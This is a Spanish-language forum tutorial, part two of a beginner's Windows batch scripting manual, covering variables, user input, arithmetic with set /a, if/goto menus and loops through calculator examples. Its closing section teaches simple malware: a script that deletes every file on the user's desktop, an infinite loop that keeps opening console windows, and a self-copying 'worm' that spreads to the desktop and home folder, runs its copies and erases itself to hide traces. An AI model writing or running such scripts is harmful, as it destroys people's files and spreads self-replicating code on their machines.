Bien en esta 2ª parte voy a enseñarte mas comandos y mas cosas que haremos.
Empecemos;
VAMOS A HACER UNA CALCULADORA:
Primero que nada voy a explicar desde cero lo de las variables y como las utilizaremos
en la calculadora, como ya sabemos las variables varian xD dependiendo el contenido
que deseemos darle a tal variable vamos por un ejemplo que explique en la parte
anterior. Vamos a crear un programa donde preguntemos el nombre completo, la edad y lo que te gusta de la programacion en batch, vamos al code:
Código:
Código:
@echo off
echo Hola
echo ¿Cual es tu nombre completo?
set /p nombre=
cls
echo ¿Cuantos años tienes?
set /p edad=
cls
echo ¿Que te gusta en el Batch?
set /p gustos=
cls
echo Hola %nombre% tienes %edad% años y lo que te gusta en el batch es %gustos%
echo espero que sigas estudiando :)
pause>nul
exit
Ahi esta nuestro codigo, vamos al grano con nuestra calculadora.
Bien lo que queremos hacer sera primero que nada que nuestra calculadora sume.
El codigo que voy a usar es "+" (mas) Vamos a hacer la calculadora. Vamos a
nuestro famoso algoritmo sintetizado, el programa lo que tendra que hacer sera que
nos pregunte un numero, despues otro y despues que los sume y nos muestre el
resultado en pantalla. Aqui hay un ejemplo simple:
Código:
Código:
@echo off
echo Bienvenido a mi primer programa util, xD.
:Elegir
echo ¿Que quieres hacer?
echo.
echo 1. Sumar
echo 2. Salir
set /p hacer=
if %hacer%== 1 goto :sumar
if %hacer%== 2 goto :salir
cls
:Sumar
set /p num= Escribe el primer numero a sumar
cls
set /p num2= Escribe otro numero
cls
set /a res=%num% + %num2%
echo el resultado es %res%
pause
cls
echo ¿Quieres sumar otra vez?
echo.
set /p sov= Si/No
if %sov%==si goto :Sumar
if %sov%==no goto :Elegir
:Salir
echo Esta fue la primera calculadora que hago en Batch
pause
exit.
pensar
Citar
--Que coño hiciste que es eso de if %hacer%==1 o 2 goto :Sumar. No aprendere nada
si no me explicas!!!--
si no me explicas!!!--
Bien voy a explicarte, el comando "if" (sin comillas) nos hace algo "sì" pasa algo
sino no. El ejemplo es claro nos dice elige entre 1 y 2 y luego el comando "if" nos
dice si en la variable, el resultado es igual a 1 ir a tal etiqueta (etiqueta es
como un menu que se hace con :menu), en la otra si el resultado es "2" goto (ir a)
:Salir (etiqueta). Esa es una de las utilidades de "IF", despues veremos otras.
Ahora te toca a ti hacer una calculadora que sume, reste, divida y multiplique, los
codigos que tienes que usar son estos:
+ = Mas (Sumar)
- = Menos (restar)
* = Por (Multiplicar)
/ = Entre (Dividir)
= = igual (Resultado)
Antes de que se me olvide el comando "set /a" hace operaciones y los guarda en
variables, ejemplo:
Código:
Código:
echo Suma
set /a res= 1+1
echo %res%
Código:
echo Multiplicacion
set /a res1= 10/1
echo %res1%
Y asi lo de mas es historia, espero que hayas entendido lo de la calculadora, sino
postea tu duda, comentario o critica.
Vamos ahora con lo del bucle.
¿QUE ES UN BUCLE?
Un bucle es cuando un codigo se repite ciertas veces, por ejemplo en nuestro codigo
hacemos que el comando "start" se repita 10 veces y ese seria un bucle, tambien los
bucles pueden ser infinitos, que el comando start se repita infinitamente. Vamos a
un ejemplo:
Código:
Código:
@echo off
start
start
start
start
start
start
start
start
start
start
exit
Citar
--¿Que es lo que hace?--
Simple, inicia la consola de ms-dos 10 veces.Citar
--Pero que flogera estar escribiendo 10 veces start para que se habra tal veces--
Si pero eso se te va a facilitar si hechas un poco de imaginacion. (como ya he dicho antes, no les dare todo a la mano, tampoco lo busquen en internet a menos que no den con el resultado, no es que yo sea malo, o no sepa como hacerlo, sino que esto te servira para no ser tan flojos y piensen un poco en lo que deben hacer).Vamos por otro ejemplo:
Vamos a iniciar un bucle infinito con una gran ayuda que es la etiqueta.
Código:
Código:
@echo off
:inicio
start
goto :inicio
Lo que hace esto es, crea una etiqueta llamada "inicio" despues en esa etiqueta
se coloca el comado start, despues se va otra vez a inicio. Lo cual el codigo
primero inicia ms-dos despues como se regresa a esa etiqueta se activa otra vez el
codigo, y asi sucesivamente.
Si eres avanzado seguramente diras:
Citar
--Que tonto, eso se puede hacer en 2 lineas de codigo, y segun el lo esta
sintetizando en 4--
Si, si estas en lo correcto (excepto por lo tonto, xD) recuerda que estoy dejandosintetizando en 4--
la mayor parte a la imaginacion del nuevo usuario de batch. Que chiste tendria
decirle como hacerlo si solo lo copea y ya esta, no lo veo un buen aprendizaje,
sino eres de los que quiere aprender con mi metodo, busca otros manuales que hay
en la red (Que son muchisimos).
Bien dado mi discurso, voy ahora a explicar codigos que la mayoria los usamos en los
virus.
Citar
--Milagro!!!, por fin voy a aprender lo que me gusta, LOS VIRUS!!!.
Si, si eso es lo que la mayoria de los nuevos usuario quiere aprender, incluso hayunos que empiezan (o empezaron) buscando "¿Como hacer un virus en Batch?" y asi
llegaron a este foro o quizas a aprender C. Yo en lo personal es lo que mas me
interesa, la programacion y los malwares.
Supongamos que ya sabes lo que es un malware, ya sea virus, worm, troyano, etc.
Partiremos por hacer un simple virus que borre todos los archivos del escritorio.
el codigo sera:
Código:
Código:
@echo off
del %homepath%\escritorio\*.*
exit
Este simple code utiliza el comando del (delete) o sea borrar en español o eliminar
Tambien podemos hacerlo con "erase", seria el mismo code pero remplazamos el del
por erase y hace exatamente lo mismo, si quieres mas detalles recuerda usar el "/?".
Recuerda que estamos utilizando una variable de entorno para que nos funcione en
cualquier pc sin tener que especificar la ruta que por lo general seria esta:
Código:
C:\Documents and Settings\Usuario\Escritorio
Recuerda que es la mas usada pero hay muchisimos usuario que no tienen "c:\" sino
"Cualquiera:\". Bien ahora vamos a crear un worm lo cual es un gusano, lo que hace
el gusano es repetirse simualtaneamente a si mismo y/o copiarse en otras carpetas
hasta llenar el disco duro, vamos con el ejemplo se va a autocopiar solo una vez en
nuestro escritorio y se va a copiar en el usuario.
Código:
Código:
@echo off
copy %0 %homepath%\escritorio
copy %0 %homepath%
exit
Ejecutalo y veraz que en %homepath%\escritorio se ha creado el mismo archivo que
lo creo (que juego de palabras) tambien en %homepath%, el "%0" sirve para referirnos
al archivo que se esta ejecutando, vamos por un ejemplo mas complejo suponiendo que
nuestro archivo se llama "prueba.bat":
Código:
Código:
@echo off
copy %0 %homepath%\escritorio
copy %0 %homepath%
start %homepath%\escritorio\prueba.bat
start %homepath%\prueba.bat
del %0
exit
Explicamos el code, nos copea el mismo archivo que se esta ejecutando a el escritorio
y al usuario, despues se ejecutan los archivos nuevos copiados a tal carpeta y
despues se elimina el propio archivo para que no haya "rastro". Recuerda que puedes
modificar el code, con parametros, recuerda usar "/?" (sin comillas) para darte una
idea. El troyano no lo explicare en este manual dado que este es un manual basico.
Creo que ha sido todo lo "basico", es posible que haga otros manuales "medio"
"medio-avanzado" y "avanzado", pero todo a su tiempo, como ya me conoceran algunos, otros no es que no suelo poner cosas conocidas en mis manuales, no he hecho de batch pero de otras cosas si, bien sin mas decirles que seguire con estos manuales, el siguiente sera algo mas de nivel 'medio' y espero les haya gustado las 2 partes de este querido manual. Cualquier duda, propuesta, critica o comentario pues ya saben no duden en hacerla.
Me Despido:
:__ 2Fac3R__:
Manual Nivel Medio --> http://www.hackxcrack.es/batch/5043-manual-batch-nivel-medio-2fac3r.html
EN PDF
PRIMERO --> http://www.multiupload.com/HDQD1WUKVV
2DA PARTE --> http://www.multiupload.com/6MEG25RG5U
NIVEL MEDIO --> http://www.multiupload.com/UFE74WZ1JW